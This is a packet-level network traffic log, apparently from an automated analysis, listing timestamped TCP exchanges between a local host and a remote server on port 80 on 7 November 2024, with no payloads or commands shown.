Nov 7, 2024 06:01:12.668010950 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668020010 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.668044090 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668049097 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.668056011 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668067932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668080091 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.668081045 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668095112 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668112040 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.668142080 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.668768883 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668781042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668792009 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668808937 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.668828011 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.668932915 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668945074 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668955088 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668968916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668977976 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.668982029 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668996096 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.668998003 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669008017 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669019938 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669020891 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669042110 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669047117 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669059038 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669071913 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669076920 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669085026 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669095993 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669097900 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669110060 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669123888 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669132948 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669136047 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669147968 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669159889 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669174910 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669183969 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669187069 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669203997 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669205904 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669222116 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669234037 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669238091 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669245005 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669255972 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669267893 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669267893 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669284105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669290066 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669296026 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669308901 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669318914 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669321060 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669333935 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669344902 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669357061 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669357061 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669368029 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669377089 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669398069 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669445992 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669477940 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669503927 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669521093 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669542074 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669543982 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669563055 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669575930 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669588089 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669589043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669601917 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669615030 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669634104 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669667006 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669683933 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669696093 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669707060 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669719934 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669720888 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669743061 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669759989 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669804096 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669842958 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669843912 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669857025 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669881105 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669898033 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.669918060 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669930935 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.669971943 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.671924114 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672086000 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672097921 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672110081 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672127962 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672139883 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672141075 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672152042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672167063 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672172070 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672184944 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672184944 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672198057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672209024 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672211885 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672220945 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672233105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672244072 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672245026 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672261000 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672269106 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672276974 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672286987 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672288895 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672305107 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672317028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672318935 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672328949 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672343016 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672352076 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672369957 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672374010 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672385931 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672398090 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672415018 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672418118 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672429085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672441006 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672446966 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672455072 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672465086 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672476053 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672507048 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672738075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672755957 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672774076 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672785044 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672807932 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.672950029 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672967911 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672979116 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672990084 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.672991991 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673005104 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673019886 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673022985 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673034906 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673048019 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673048019 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673062086 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673073053 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673077106 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673084974 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673095942 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673106909 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673108101 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673119068 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673129082 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673131943 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673146009 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673146963 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673157930 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673171043 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673176050 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673187971 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673194885 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673204899 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673216105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673223972 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673228025 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673239946 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673250914 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673265934 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673273087 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673288107 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673290014 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673305988 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673309088 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673322916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673333883 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673335075 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673346996 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673352957 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673360109 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673371077 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673378944 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673382998 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673393011 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673398972 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673412085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673414946 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673424006 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673435926 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673448086 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673449039 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673460007 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673471928 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673475027 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673484087 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673492908 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673496008 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673508883 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673525095 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673532963 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.673556089 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.673594952 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.674799919 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.674809933 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.674820900 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.674838066 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.674849033 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.674860954 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.674890041 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.702042103 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.702061892 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.702071905 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.702083111 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.702095985 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.702145100 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.702157021 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.702169895 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.702173948 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.702210903 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.702224970 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.742727995 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.742762089 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.742774010 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.742786884 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.742798090 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.742819071 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.742830992 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.742865086 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.742870092 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.742876053 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.742887974 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.742928028 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.742955923 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.742966890 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.742978096 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.742989063 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.742994070 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743001938 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743025064 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743050098 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743144035 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743175030 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743231058 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743242025 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743252993 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743268967 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743278980 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743279934 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743292093 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743305922 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743324041 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743380070 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743398905 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743408918 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743421078 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743429899 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743438005 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743449926 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743460894 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743462086 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743473053 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743489981 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743494987 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743506908 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743506908 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743522882 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743531942 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743535042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743550062 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743557930 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743566036 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743587017 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743591070 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743602991 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743606091 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743614912 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743628025 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743634939 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743638992 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743654013 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743670940 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743673086 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743685961 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743686914 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743697882 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743704081 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743716955 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743727922 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743737936 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743741989 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743757010 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743765116 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743767977 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743779898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743781090 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743793011 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743804932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743808985 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743817091 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743829012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743844032 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743846893 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743860006 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743865967 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743876934 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743877888 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743890047 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743901968 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743902922 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743913889 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743925095 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743931055 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743937016 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743954897 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743959904 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743968010 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.743976116 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.743993044 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.744004965 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.744005919 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.744015932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.744028091 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.744038105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.744040012 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.744050026 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.744055033 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.744061947 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.744072914 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.744086981 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.744092941 CET	80	49797	185.215.113.16	192.168.2.4
